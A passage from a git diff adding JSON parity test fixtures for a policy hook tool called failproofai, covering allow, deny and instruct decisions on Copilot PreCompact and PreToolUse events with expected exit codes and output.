"cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PreCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PreCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..99b26efb --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PreCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PreCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..5843919c --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PreCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PreCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..d6e54eaf --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PreCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PreCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..748c4e1e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PreCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PreCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..08b04c54 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PreCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PreCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..8ddfccec --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PreCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PreCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..d61d9a58 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PreCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PreCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..dad999fd --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PreCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PreCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..2bd33792 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PreCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PreCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..1b8c8d5b --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PreCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PreCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..97f4aeb6 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PreCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PreCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..4f673cd9 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PreToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PreToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..307223a4 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PreToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PreToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..f36a1655 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PreToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PreToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..abdb0fd0 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PreToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PreToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..6881ab99 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PreToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PreToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..2dfc2196 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PreToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PreToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..53f0fcb5 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PreToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PreToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..64ecefdb --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": 